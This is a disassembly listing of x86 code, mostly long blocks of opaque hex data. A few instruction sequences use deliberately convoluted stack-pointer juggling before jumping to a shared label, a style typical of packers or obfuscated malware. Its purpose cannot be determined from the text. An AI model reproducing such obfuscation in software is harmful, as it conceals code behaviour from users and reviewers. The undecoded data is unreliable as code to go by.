48D0F714h dd 5904282Dh, 58C301E5h, 545BDA89h, 8324348Bh, 0BB5304C4h dd 8, 6237EB81h, 0F301363Dh, 6237C381h, 1389363Dh, 24348B5Bh dd 81E68956h, 4C6h, 4C68100h, 87000000h, 8B5C2434h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- dw 0A7F4h dd 0CD27C866h, 0B8FFAA1Eh, 6538481h, 0E0FFC503h, 6448B01Fh dd 4BFBE88h, 27644E9Fh, 79B909BFh, 7C412731h, 2809466Ah dd 2F06B780h, 2882269Fh, 10139127h, 58F5347Ah, 2D2CA7C0h dd 11E18FF6h, 725BD08Bh, 498E2FD5h, 584D950Dh, 5E78CA8Ah dd 7288F18h, 64D8D657h, 6F73954Bh, 5431C6FCh, 1CC8EB46h dd 178680CBh, 3C43D862h, 86278D8Dh, 9D8B0653h, 64D17C9h dd 5998D89h, 880F064Dh, 0 dd 51D85C7h, 61D8064Dh, 81660000h, 0C7560EC7h, 4D02E985h dd 6, 0F1958900h, 0FF064D1Dh, 4D25F9B5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 45F78052h, 93B99289h, 2E5595FFh, 6A064Dh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 2C02B2C3h dd 0B585317Fh, 89064D10h, 4D31F985h, 6AF806h, 51195FFh dd 0C08B064Dh, 0EC9A2CEBh, 0FD0DC669h, 4F2D44AFh, 0BCC2AF0Bh dd 73FA7384h, 2A84D510h, 3E12D58Eh, 1950B68Ch, 2F0AC383h dd 0C24AF45Ah, 0D97DB189h, 0DE861F9h, 0EB000000h, 0A9E7FE09h dd 572C3A90h, 3CC39D0Fh, 318D8D8Bh, 0E95A064Dh, 0Bh, 0C455E309h dd 32C59C4Dh, 818161C2h, 6280C2h, 0AB8F900h, 816AA52Bh dd 0A5128AE8h, 0F3BF0F6Ah, 0BB5F32FFh, 9435E38h, 0DED5EF81h dd 8D892083h, 64D2995h, 42DAEF81h, 9D232EA2h, 64D2E91h dd 76F1F781h, 0C18107BAh, 52CBBA93h, 9D893A89h, 64D036Dh dd 8B04EA83h, 4D14159Dh, 1E88306h, 0FFBA850Fh, 8166FFFFh dd 0E8B0B9C9h, 5, 4424ACh, 6E9A6h, 0B7820000h, 42AE4D6Eh dd 0C281F95Ah, 654Dh, 8E8h, 20169E00h, 86A4974h, 99C68151h dd 5E01FB3Fh, 9589C92Bh, 64D05BDh, 8B1134FFh, 4D260985h dd 0B58B5B06h, 64D328Dh, 10D3F381h, 8D89635Ch, 64D0379h dd 0FB29C381h, 89520FECh, 4D279185h, 0F3815806h, 7E1CFDBh dd 0B40A1C89h, 4D9D891Bh, 83064D15h, 895302E9h, 4D0AE5B5h dd 49495F06h, 0AE9h, 4EE07600h, 0C684A114h, 81E873B2h dd 0FF9B84F9h, 16850FFFh, 80000000h, 36E965D4h, 2F000000h dd 0D585E093h, 9007B027h, 82846DE8h, 0AE98Ch, 0F8F20000h dd 23619444h, 34A4DBA6h, 0FFFF73E9h, 4ECC7FFh, 3A747BF1h dd 1D92E5B8h, 0FF1F5F97h, 38574F29h, 678D8DA6h, 0F065388h dd 684h, 0DDB58900h, 89064D2Ch, 4D05998Dh, 0BB2CBE06h dd 85C7444Dh, 64D051Dh, 6924h, 0DEBF0FF9h, 2E985C7h, 64Dh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0F40DC7C3h, 0AE749F17h, 0B5FF454Bh, 64D25F9h dd 2369B501h, 95FF064Dh, 64D2E55h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0D5C35343h, 0AE83FF4h, 0A1000000h dd 0FECFBC3Bh, 16C14A6Dh, 1D8589B1h, 5F064D33h, 127D858Bh dd 6A064Dh, 51195FFh, 0C08B064Dh, 9F6F2CEBh, 0D55AC6DCh dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8D8DB3A9h dd 6538996h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0BFC35343h, 53D65D30h, 89DBB70Fh, 4D05998Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 66B0F1EBh, 92E0D781h, 51D85C7h, 6924064Dh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8A0F1AC3h, 6, 3558D89h, 85C7064Dh, 64D02E9h, 0 dd 0FFF3B70Fh, 4D2795B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8589F783h dd 64D2F85h, 63D8531h, 0F53064Dh, 28Ah, 5A5E5100h, 2E5595FFh dd 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 49135CC3h, 307AF74Fh, 8B66244Eh, 0FF006AFBh dd 4D051195h, 0EBC08B06h, 0B017EF2Ch, 64A48B17h, 0C06F4194h dd 7B0BCB95h, 1045ECF6h, 0B663897h, 0BFA92C14h, 0F6EABE5Bh dd 0D60FCAFDh, 2CB43DDDh, 0EC95E3C9h, 878D8DF2h, 6006538Ah dd 1489BD09h, 8166064Dh, 61A928D0h, 8E8h, 16E14F00h, 34B69891h dd 0C59D899Ch, 5A064D0Eh, 5998D89h, 6A064Dh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 88DF4CC3h dd 969294DFh, 2D1B529h, 85C7064Dh, 64D051Dh, 5E2Ch, 10E9h dd 7C78EC00h, 4E821B2h, 3E89D9EDh, 0EDDDC639h, 0F7BF0F58h dd 2E985C7h, 64Dh, 0C0800000h, 29B5FF67h, 66064D32h, 3DE1D881h dd 2E5595FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0CCC7AFC3h, 36F97410h, 6AD08Bh dd 51195FFh, 0C08B064Dh, 0D95F0AEBh, 0F17428EBh, 7CB1064Bh dd 8DE04EBh, 9DE91EB1h, 16000005h, 0BE9EAA50h, 61414DF3h dd 5E5F197h, 0A6869238h, 292B37DDh, 6309D287h, 0AB07757h dd 0AC521EFEh, 52F8C0A0h, 0B3E2AF46h, 0D4FB96CDh, 86195964h dd 3CA5D28h, 0B627F45Dh, 0AE410967h, 7D43DE3h, 2E3AE0A9h dd 2815864Eh, 4E6437F8h, 0C46A348Ah, 68308E5Bh, 0CC97F5C2h dd 34FB5926h, 9763C18Eh, 40AE24F1h, 0F260CE04h, 34C78F72h dd 0B790C46Ah, 0FF91CC74h, 4E4F059h, 0A6869238h, 96734DAh dd 0AECF9C42h, 1A789ACAh, 49EFBA4Dh, 53A20B7Ch, 778329F5h dd 0AB5ECF97h, 68ECD4DDh, 0DD0CD942h, 0DB4EDB96h, 1FC684Eh dd 0B0160761h, 5796h, 0AD75D400h, 5B86C207h, 70F7C494h dd 0E413E837h, 0DB4F099Eh, 9F47056h, 0B0165579h, 19Eh dd 0AA75DC00h, 0ED93704h, 703D9B68h, 77016DDh, 0EE56C43Ah dd 7E8A30FBh, 4D3362AFh, 7BDB4F20h, 0EFEAA899h, 0C730FB03h dd 0AC521A78h, 95EB1A67h, 9CDB4E9Eh, 86D0E433h, 3906AC75h dd 256A10DBh, 18A16BE9h, 0A5931F1h, 680ED735h, 0CA703D9Bh dd 4AFAE6FDh, 5C29CF97h, 349A82EBh, 0B480DE30h, 16E3410Eh dd 0C932A370h, 0AD531C7Ah, 53F9C1A1h, 3EE4B00Eh, 0DCB10071h dd 410EB47Eh, 0A7741AE3h, 0DDA8049h, 0AAEF91C0h, 0D942DB4Eh dd 1BD193F9h, 0D80341AFh, 0B016365Eh, 885Dh, 0AC759B00h dd 11DB3906h, 82EA266Bh, 548FC17Fh, 259B70BFh, 915A8DB7h dd 0C28F35FEh, 0DDCE851h, 6FA684C0h, 4378EB99h, 4EF3641Ch dd 0B14A64DBh, 62C7C8F5h, 81DF2E97h, 0E74512B8h, 33A7741Ah dd 16BC86E4h, 35780D49h, 1C58CE07h, 0ED935DB3h, 0F460AF20h dd 15ED8570h, 570AB016h, 48000000h, 3906AC75h, 9C690FDBh dd 3D0763Eh, 7E49DCA5h, 0BAA26FD8h, 22ED1054h, 0D53EAF7Ch dd 0D19BF9C6h, 0F470DC2Bh, 96A24811h, 4AA754Ch, 206B0837h dd 632BDB4Fh, 0CB92F0BDh, 5C02CF25h, 0F2B6538Fh, 9F924FC9h dd 0E5EB59BFh, 924DF7DDh, 0B016B6F0h, 127h, 0AB756500h dd 12DA3805h, 9A7E9F6Ch, 0C76D37AAh, 0BBB0ECBBh, 57C08890h dd 71643F8Eh, 0F087B6FBh, 0B7D1380Dh, 1FEC9259h, 463A69AEh dd 0EBD501C5h, 0F7603382h, 5E04CC2Ah, 0E3478352h, 15455C43h dd 30F856A5h, 0F48EBD8Ah, 0B2D501ADh, 187643E9h, 0C6DDAA50h dd 55646ADAh, 4008FB69h, 0E6AE8E9Ah, 4D157340h, 0B27CDAA7h dd 15E13F0Ch, 7744A26Fh, 259304D1h, 3C6B8DB7h, 0D501AD44h dd 331B84EDh, 0AC7497CDh, 4C55023Bh, 1EF631Dh, 3165CED5h dd 295DDECDh, 87F15932h, 0F93EA754h, 612ED49Bh, 0C6933903h dd 899DEC55h, 5B7881A1h, 0C71551B6h, 18E85C19h, 4C8FF746h dd 0CD000001h, 9C0D4A86h, 6955F416h, 0BD2EFBA1h, 0AB2A0554h dd 3E4D7CC1h, 99D13811h, 0CE631D4Ch, 65CED501h, 0DDA4316h dd 3665E7AFh, 0D501CE4Ah, 60287EE7h, 654551BAh, 0CC2AF79Dh dd 37A87104h, 25A873D7h, 53BC2533h, 9C63C10Eh, 0C5B1CFF6h dd 1780D501h, 9D03F3C8h, 0D67C44A7h, 6B154491h, 0C6D501C5h dd 9801A770h, 354D3549h, 0FDB65B19h, 6532D89Fh, 4F3DA5F4h dd 7B000000h, 0D29DE2F8h, 4F7EC32Ch, 0DB4F2201h, 1DB078D6h dd 7441AA50h, 9CE1B403h, 9401EF60h, 83AAB844h, 0DB4E2AFDh dd 6F15DE34h, 5FC831A2h, 2B1D6392h, 99FFDB4Eh, 571FBBABh dd 9D67C512h, 6AB92AF7h, 4E2C153Bh, 0C7D33CDBh, 8627h dd 0DDF8DD00h, 1FEC4A8Fh, 0AEDD2A79h, 0D1385059h, 54B27FE8h dd 0FADAE68Ch, 0FF81B032h, 32D501F2h, 649360C9h, 0D501F411h dd 9264E0CCh, 0F16A1645h, 71C7D501h, 4796FFA5h, 367B21E9h dd 0F1C6BAE9h, 26BD501h, 0F1F28EBDh, 0D63FD501h, 0BF167387h dd 0CE1B68ADh, 1F1E19Fh, 0D9A7D6D5h, 58D501F1h, 6CBB24EFh dd 0D67CCF3Dh, 4C1982CAh, 0B38026EEh, 0D6B6AE92h, 0F9286DFFh dd 0C482F213h, 3290D53Eh, 81F2BF65h, 86D41E32h, 0EAB75D28h dd 864F2A79h, 9A72A1E6h, 3DD123ACh, 0A547C901h, 0FBC20A76h dd 8ABE27D4h, 8DDCCA12h, 0AE0C51BAh, 18ED3CE2h, 534C8FCBh dd 2CBF22D7h, 0FB3183FDh, 0DC45AED4h, 0C1672F8Dh, 0E9AAE6B5h dd 7FF9AEDh, 8D21F220h, 7AE3B20Bh, 5F05CD2Bh, 0EF094592h dd 0B607403h, 2683FD23h, 0A30C7F02h, 0B08A2554h, 76E41BFFh dd 0AD531BCEh, 53F9C1A1h, 0B55B2886h, 18BE8AE8h, 7E24ED4Bh dd 97CD3BB1h, 36834861h, 197E7907h, 4FB8BCh, 652DD094h dd 97640AD2h, 0F9C66C39h, 0AAB61F88h, 8F5C02CAh, 2071h dd 2655A200h, 0BC197E5Ah, 10DD834Ch, 22A0D49Fh, 5F763D48h dd 18E02F98h, 0B65C2886h, 0AA2978E9h, 9AF75E2h, 7016DE3Ch dd 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah dd 0CE743E9Ch, 32D8A301h, 8956E865h, 4C681E6h, 83000000h dd 348704EEh, 1C895C24h, 45DF6824h, 0C890000h, 0E0895024h dd 405h, 42D00h, 4870000h, 14895C24h, 0A1B85024h, 8906538Ah dd 24048BC1h, 4C481h, 8B540000h, 0C4812414h, 4, 1D4768h dd 240C8900h, 8B08428Fh, 89572414h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 240C8B5Ch, 81E68956h, 4C6h, 4C68300h dd 5C243487h, 0F9EF8CE9h, 0EE036FFh, 9AE8273Dh, 538FB4B8h dd 0FFC50306h, 590E69E0h, 0AC0140Fh, 268F7A60h, 0FCD8BF0Eh dd 8C34222Ah, 66B5EA4Ch, 21D56246h, 0E5918E22h, 0F4BE9D6Dh dd 0EE813h, 80510000h, 3FAD42BCh, 540B26E1h, 8877C407h dd 9A30FDBEh, 0B70F5B62h, 1CC381F2h, 0E900005Ah, 8, 0D84E5C19h dd 7E9FC165h, 68h, 22E28000h, 11E959h, 0CC1A0000h, 0FA74375h dd 0C85916Dh, 9DFE7F95h, 8B53C9BCh, 81F50B04h, 0D4BC6BE8h dd 0C081F850h, 796FA73Dh, 5830Fh, 81660000h, 8136C7C2h dd 5072A2C0h, 0FE951h, 5170000h, 3885C501h, 10498AE4h dd 0AE72C8ABh, 0B0489F9h, 0CD6DEE81h, 0E9833DB4h, 14E85102h dd 13000000h, 451F85A2h, 0BDD9F921h, 7DAA246Ah, 0DFD97B44h dd 66B1E9FFh, 5FBB7DBAh, 0F49495Fh, 0F981F3B7h, 0FFFFA6C4h dd 1B850Fh, 0BF660000h, 1FE9E55Fh, 1E000000h, 0E176D44Ah dd 97B143BFh, 0B296F2A3h, 3959DFA3h, 6CE9F91Fh, 0A0FFFFFFh dd 0E211C202h, 8D8D17B2h, 6539225h, 5998D89h, 0BF0F064Dh dd 1D85C7D0h, 0BC064D05h, 0E9000064h, 9, 6CC4EE3Eh, 0BDFBA221h dd 0E985C7C4h, 64D02h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 9A2EC350h dd 44357E45h, 0E94008F3h, 13h, 0C05924EFh, 8C06DCDFh, 1C09A99Eh dd 11E6A0B6h, 8B75461Eh, 4D0D3585h, 19B5FF06h, 6A064D2Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 5704C356h, 117D3997h, 8BBCCE8Bh, 4D185585h dd 5595FF06h, 6A064D2Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 7070C351h, 4FE7344Fh dd 95FF006Ah, 64D0511h, 79EBC08Bh, 0CCB58ADh, 5E78AEE3h dd 0B0162E06h, 7D8DAF1Ch, 19F0E81Dh, 9DBA65E3h, 53C4F3C0h dd 0E35C9C8Eh, 0E8754B7Eh, 1F782518h, 2B4B041Eh, 6883D037h dd 694B317h, 0B07C96F4h, 69740082h, 6C787C9Eh, 0F9A1E375h dd 0F2B4359h, 3694A321h, 2B2BBFB9h, 792C8457h, 0A8F978Dh dd 193DA073h, 0FCB51C76h, 371DF288h, 0AA2C3F02h, 0AD91C555h dd 0A0AD3D0Ch, 1C437CB7h, 5DCC62B0h, 0DE85Ah, 3950000h dd 0B445D8AEh, 0D4024A34h, 0E99ADF8Eh, 5, 0B06591CDh, 85335FB5h dd 64D0B31h, 6E5CC781h, 85290000h, 64D2C39h, 0BAh, 5D8D8B00h dd 8B064D10h, 0D0801734h, 12EE81D7h, 9734758h, 4D180D95h dd 94F68106h, 800158BBh, 0EE81BEC0h, 36EFD2A7h, 56B9D380h dd 48F09B3h, 89DE8B17h, 4D14ED8Dh, 4EA8306h, 58A0Fh, 5CB80000h dd 817A1039h, 0FF9260FAh, 18850FFFh, 8A000000h, 38E9E5h dd 5B90000h, 42612573h, 5E48E020h, 0C82EE016h, 0E8644B7Fh dd 0Ch, 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 58C5EC80h dd 0FFFF82E9h, 8E07AEFFh, 0D52F4BE8h, 0E2CA339h, 7E8A091h dd 0E4000000h, 6D5272C4h, 9D0937B6h, 64D14E9h, 9DB52959h dd 81064D2Bh, 5E38C1h, 4DBEF500h, 815A122Ch, 1214DEEEh dd 59858B5Ah, 0FF064D04h, 9953131h, 5B064D31h, 81D0B70Fh dd 0F6A5B0F3h, 0C7BF0F4Bh, 0E3AAC381h, 0C18B5CFDh, 6F1F381h dd 0B5091109h, 64D2765h, 0B70F1989h, 0F7E981C7h, 0F4EA05Ch dd 0C181C7B7h, 4EA05CF3h, 3279BD8Bh, 0EE81064Dh, 1, 0FFB1850Fh dd 8166FFFFh, 0E82BB3CAh, 12h, 7F85C2AEh, 67CA456Eh, 62EC2544h dd 4756C630h, 9D893A8Fh, 64D14C5h, 41858958h, 81064D16h dd 5F56C0h, 0BAFC00h, 0F000000h, 82h, 234FF00h, 18D0F5Bh dd 0F5000000h, 0B098EB81h, 0C38166B9h, 7B2DCBCAh, 8BDCF381h dd 85897F09h, 64D246Dh, 8B101C89h, 4D0F05B5h, 2D8D3106h dd 81064D33h, 8EC204EAh, 0C88B6610h, 0C200C281h, 0C181108Eh dd 20B970E0h, 0A130FA81h, 850FFFFFh, 0FFFFFFADh, 0BD31D181h dd 75821EF2h, 690889A0h, 0A6DC7814h, 68491F8Dh, 0A12E8636h dd 25908635h, 25480AD9h, 80990530h, 2514CB02h, 2576023Fh dd 98078630h, 230F8DC9h, 57A58930h, 0E3908630h, 686E63B5h dd 0BC4CC836h, 0A4ABEFE7h, 25D0A204h, 907B971Bh, 230FB495h dd 50F603BDh, 0F56F8060h, 0A08E76BBh, 2369A0D5h, 0B5BFEE7Eh dd 11884E1Fh, 48C36B14h, 0DCF77950h, 0A827CB3Bh, 75E551B5h dd 0AE987936h, 25343FC8h, 2DFB8630h, 83098630h, 258A033Fh dd 2E0B8630h, 0D5A489F9h, 0CC6F79CFh, 2548863Dh, 68C11BBDh dd 20AA807Dh, 0DA098630h, 59390BD3h, 0A844D5A4h, 76B4BFBDh dd 823E36h, 0EA630000h, 75826FF1h, 690889A0h, 0A6DC7814h dd 68491F8Dh, 0A12E8636h, 25908635h, 25480AD9h, 83990530h dd 0A4F305E9h, 22B9h, 0AE800h, 4BCB0000h, 489C3A60h, 13F98B7Ah dd 0DE9h, 566DF200h, 34F951Ch, 762ABC28h, 0E95BEF6Fh, 12h dd 0E161465h, 203A4CDBh, 0B5FAA5A8h, 898F6C6Ah, 0C38101C4h dd 6B37h, 72D98166h, 1A9868E2h, 8D890000h, 64D1FE1h, 8BF98B5Ah dd 658D0B03h, 81064D24h, 49C4AF0h, 0FBC08115h, 0E833A32Ch dd 6, 0A90D3AD3h, 9D893C9Eh, 64D1C59h, 45C0815Fh, 8934F10Fh dd 4D0C2585h, 8B665006h, 83038FC8h, 816603EBh, 4BF296D7h dd 225D8589h, 0EA81064Dh, 1, 1D850Fh, 0B5290000h, 64D0415h dd 30E9h, 0A36D0100h, 312039C0h, 95C1BB05h, 0D11834D2h dd 0E9866C13h, 0Bh, 0D3A2C92Dh, 0F0F3ACBDh, 0E9E57ABAh dd 0FFFFFF7Bh, 5F8B90C0h, 124CD3E3h, 0B204EB2Fh, 0E977090Ah dd 7ADh, 4753F9BFh, 0EAF69C67h, 8E9A400Ah, 2F3BE1AEh, 0D4E0864Fh dd 0B079DED2h, 571EFE0Ah, 0F9C5A5B1h, 9F674753h, 8956EDF9h dd 0FB8B265Ah, 3B000BD4h, 8AC1BFEEh, 770D4FBh, 0CFA4F0B8h dd 0C7DB4F20h, 0F04D59FFh, 134287E5h, 0D1385260h, 0D71358C1h dd 0A77FC6E4h, 2858871Eh, 9D5018Fh, 13E837A0h, 3A46ECB5h dd 1FEC925Ah, 0E53F9C1h, 8EEE92C1h, 0DA43D501h, 0C413B984h dd 0AB99FFEFh, 0BECA7038h, 5BD04CD6h, 602886B6h, 2D7CEDBAh dd 3AC5h, 0AC750300h, 12DB3906h, 49AF9F6Ch, 791FE81Bh dd 3EFD856Dh, 201AB016h, 58000000h, 3906AC75h, 4F20690Ah dd 0AC9884DBh, 85CA7039h, 0B9F0CA49h, 67B66D94h, 24B353h dd 75690000h, 0AB5119ACh, 20493766h, 7FE8DB4Fh, 681A4916h dd 85DB4F20h, 6F38AB99h, 5C2684C9h, 2978E9B6h, 0DDF8CB15h dd 0A01B4A8Fh, 91D13842h, 0FE631D4Ch, 65CED501h, 7D12FFCh dd 39865561h, 1FE760Ah, 4776BBD5h, 0D501FE39h, 0D7268FF8h dd 3C09AF79h, 0B3F87461h, 1AE78D55h, 0DE0D5AA9h, 0CAEB28A5h dd 0B2EE339Ch, 0DEA6AC77h, 0C6FA6B38h, 6DBC1772h, 0D1937798h dd 0B2BE642Eh, 1D6208D2h, 9C4EE7E1h, 2C7BC093h, 0B7CE0A57h dd 0A8D2C850h, 0F69AC918h, 46CEB441h, 0B78164E0h, 0EB1C1646h dd 3BAC791Fh, 258A3A07h, 36408D03h, 228BF460h, 2886CC16h dd 5D03CB5Eh, 67B61F90h, 64244C8Ch, 760A3986h, 0BBDB4F20h dd 0D2D85187h, 0C751399h, 3D9BE8BDh, 9203D076h, 0AD757B43h dd 41AA501Ah, 6D75BF81h, 0B31636C5h, 35F2h, 0E0F83000h dd 3986D090h, 20C3BDECh, 186EDB4Fh, 6DDEAB51h, 0FA86B504h dd 0BDDB4F20h, 203F4170h, 89F2DB4Fh, 3EFE673Ah, 0AB75BE86h dd 0BC844505h, 47B5h, 0E0F86B00h, 0A40F4B90h, 778F9FF0h dd 4B8AC3B0h, 0B9A34817h, 0E7F4CF2h, 868E56A5h, 4F212957h dd 1BDBCCDBh, 0DF612886h, 4F20D0B0h, 8FF861DBh, 3A4675C2h dd 0F7DB4F20h, 89D6258Eh, 5AB75C1h, 5C288645h, 501867B6h dd 0BB612886h, 0D02E7DEEh, 27ED9708h, 1742F376h, 8D2D69AEh dd 3FE5B094h, 0D51D190Bh, 7082B186h, 0FEDB7030h, 6931D490h dd 8AE8B7C3h, 0FF4C19BFh, 4A2CB0D0h, 0AF1881DBh, 0B7390260h dd 1BE88E59h, 2CFD83AAh, 0DE34DB4Ah, 30A16E14h, 33915EC7h dd 670DD76Ah, 0F3C0299Ah, 44A79D03h, 0E1C9D57Bh, 0B012B641h dd 0C0663391h, 0E3D82F3h, 0DB4A3872h, 9F0756BFh, 33h, 7AD75DDh dd 0F6765F3Ah, 443775B1h, 13CC2A0Ch, 62D3A046h, 2E5DAAF9h dd 0D1375D95h, 0CE3978ACh, 0AA771DE4h, 0E9420539h, 60D6A30Ch dd 0C78F72F2h, 75CB1521h dd 5F3A07ADh, 82B1F676h, 0D1384DEDh, 0F0096EAAh, 0CE665C5Ah dd 0FAA1699Ah, 0E8374613h, 56A0AC15h, 4B90E0F8h, 2D7C22EDh dd 7536FE65h, 0BF4707ADh, 692BB4F0h, 0C13980F8h, 10814EF4h dd 6D9058A7h, 0B31636C5h, 41E7AF0Dh, 3C8AF2h, 0F8C80000h dd 86D090E0h, 0C3BDEC39h, 6EDB4F20h, 3CF7E33Ah, 0DC450EA5h dd 494116A8h, 206F849Fh, 4F1E8FF1h, 7939A2DBh, 0AB75BE86h dd 0BC844505h, 0B55B2886h, 9FEE945Fh, 1F81h, 0E0F83700h dd 5786D090h, 0DB4F2129h, 0BE7528Eh, 75B2D578h, 66261726h dd 0AB75BE86h, 0BC844505h, 3A07AD75h, 70A2E70Bh, 32D89FDBh dd 0B93B0765h, 4A9EF68Ah, 69D23BDBh, 164EB49Ch, 9EABD504h dd 1D86DB4Ah, 6CD846B4h, 5FC94E8Ah, 0BFD54B5Ah, 0B74A1270h dd 0D3DF48EEh, 0B7842AF3h, 1DEA9059h, 804DF3BFh, 5CB25822h dd 3020ED93h, 6C549ACAh, 0E2AB5E06h, 3E48303Ch, 0DDB01291h dd 2Dh, 7AD751Bh, 9765F3Ah, 0EB30993Fh, 21116F9Eh, 0B720DB4Fh dd 1BEC1B68h, 26D13850h, 0C7AF0BDh, 37DDA558h, 33FE5C2Bh dd 4FC08Dh, 5F288638h, 2C7BECB9h, 936006CEh, 44731DB8h dd 0DB4F203Ch, 0DE238CF5h, 384184AFh, 28349DD1h, 90E0F8DEh dd 164A86D0h, 8F2D0D73h, 37DDA7FDh, 0D5AAF96Ah, 7AD750Dh dd 2E8086C2h, 3C7016DDh, 88BCE18Eh, 0A4D2424Dh, 6F378632h dd 0C56D75BFh, 0F2B31636h, 2Ah, 90E0F830h, 295786D0h, 8DB4F21h dd 0BE86DF9Fh, 77C24A86h, 7E18CCC1h, 6107D12Fh, 0D93784A1h dd 531B6A10h, 28B5h, 0E0F86B00h, 4A86D090h, 0BB33112Ch dd 0B3004FDFh, 4E50FC84h, 9E7FBBDBh, 0C4698124h, 524352A1h dd 75BE8692h, 844505ABh, 5B2886BCh, 2877E8B5h, 8F5C02CAh dd 70A39260h, 852BF4DBh, 0ED935AB8h, 54FAC220h, 985E066Ch dd 5F8EDB2Ah, 0DB4AA021h, 0EC58A710h, 17BD8578h, 0BD632B0Bh dd 0D0C015F0h, 4A9FDFA1h, 80E952DBh, 6D13DD3Bh, 0D27842A0h dd 0DC2B9405h, 0BCEB608Fh, 8EECD133h, 0E0511EC4h, 4955BE91h dd 90E0F8FFh, 7536FED0h, 64C207ADh, 0E0A8F79Dh, 0C56D75BFh dd 0F2B31636h, 33h, 0A3E0F830h, 0F66734DAh, 5786CD8Dh dd 0DB4F2129h, 86DF9F08h, 0C3BDEC39h, 6EDB4F20h, 75EEB605h dd 0A74D18ABh, 28867E3Eh, 1867B65Ch, 25B550h, 0F86B0000h dd 0ED4B90E0h, 69318026h, 21295786h, 0DBCCDB4Fh, 75BE861Bh dd 864505ABh, 66B55B28h, 0A26CCA17h, 86E5ADFCh, 2A50394Ah dd 93E22168h, 0FAC76D35h, 701E27CBh, 6BD947DBh, 0FE0AB078h dd 6006D12Fh, 69EBB311h, 1A93ED1Ch, 359EDB4Ah, 4A1A720Eh dd 0ED56BFDBh, 0DC904520h, 439F6897h, 0EC28D133h, 0C3C49F7Fh dd 10EAC033h, 5CF5EC20h, 6AD3A6F5h, 7538F5Eh, 93187Ch dd 86642C7Bh, 2BB1344Ah, 662E270Fh, 350157C0h, 251C28Fh dd 1C1B127h, 0AD7536FEh, 75BF4707h, 1636C56Dh, 54F2B3h dd 0F8300000h, 86D090E0h, 0EBB85E28h, 0AFDE2B7Ah, 0DB4F20D1h dd 16BC88E6h, 0CB8BF4C7h, 4A86BE86h, 98805BFFh, 0A90756AAh dd 96F439DFh, 0E75825CBh, 2886D098h, 1D6CBB61h, 2C5483D0h dd 5DB4F21h, 20EF91C0h, 0D942DB4Fh, 0B5592170h, 1Bh, 19BF88E6h dd 0E0F802CAh, 5786D090h, 0DB4F2129h, 861BDBCCh, 5AB75BEh dd 75BC8445h, 5F3A07ADh, 75B1F676h, 7725B95Eh, 0DB287712h dd 37CF8BACh, 0E82D96D1h, 8C146C9Bh, 0B41DD501h, 0E1F45165h dd 1C17468Bh, 5CAD623h, 0A971CF9Ch, 4F17F703h, 0C5ADDCA9h dd 0C13D8989h, 23814EF4h, 0F6E6B359h, 0B01ED490h, 17DF0242h dd 3CE2C71h, 5F2E5281h, 9A035D53h, 0EECEE231h, 55B38026h dd 0F415E288h, 0E9B15410h, 0D3A0FE43h, 0A0EF602Dh, 3EE4AC8Ch dd 16E82471h, 7754494Ch, 0CD734096h, 22408F00h, 0Ch, 5F921753h dd 0E5BC65ADh, 8C54CE96h, 3C09AF75h, 0A37016DEh, 6D37945h dd 6E3BE1A8h, 0D4A14710h, 3A07AD76h, 9C690FDCh, 1CE743Eh dd 6532D8A3h, 5A5452E8h, 4C281h, 0EA830000h, 24148704h dd 14D7685Ch, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 653964Ah mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], ecx pop dword ptr [edx+8] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- dd 82DCBB2Ah, 49D6E374h, 9D73B814h, 0C5030653h, 0EBDDE0FFh dd 0BC0C3BC8h, 904D607Eh, 74746B96h, 918423BFh, 0AEEB2E3Dh dd 6F75343Dh, 0F08873E8h, 0A4750E56h, 6F171A18h, 28360121h dd 312A6291h, 0FF882827h, 71A0289Eh, 0E1F85288h, 23027F22h dd 8D8D0927h, 6539EF4h, 0BFD9D89h, 8D89064Dh, 64D0599h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7FC35343h dd 11F1B589h, 85C7064Dh, 64D051Dh, 6ED8h, 0F2CB8166h, 0E985C7BCh dd 64D02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 13C8C356h, 0FF2F45D5h, 4D2F8DB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0DA2EC2A1h, 5595FF5Ch, 0E9064D2Eh, 0Fh dd 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 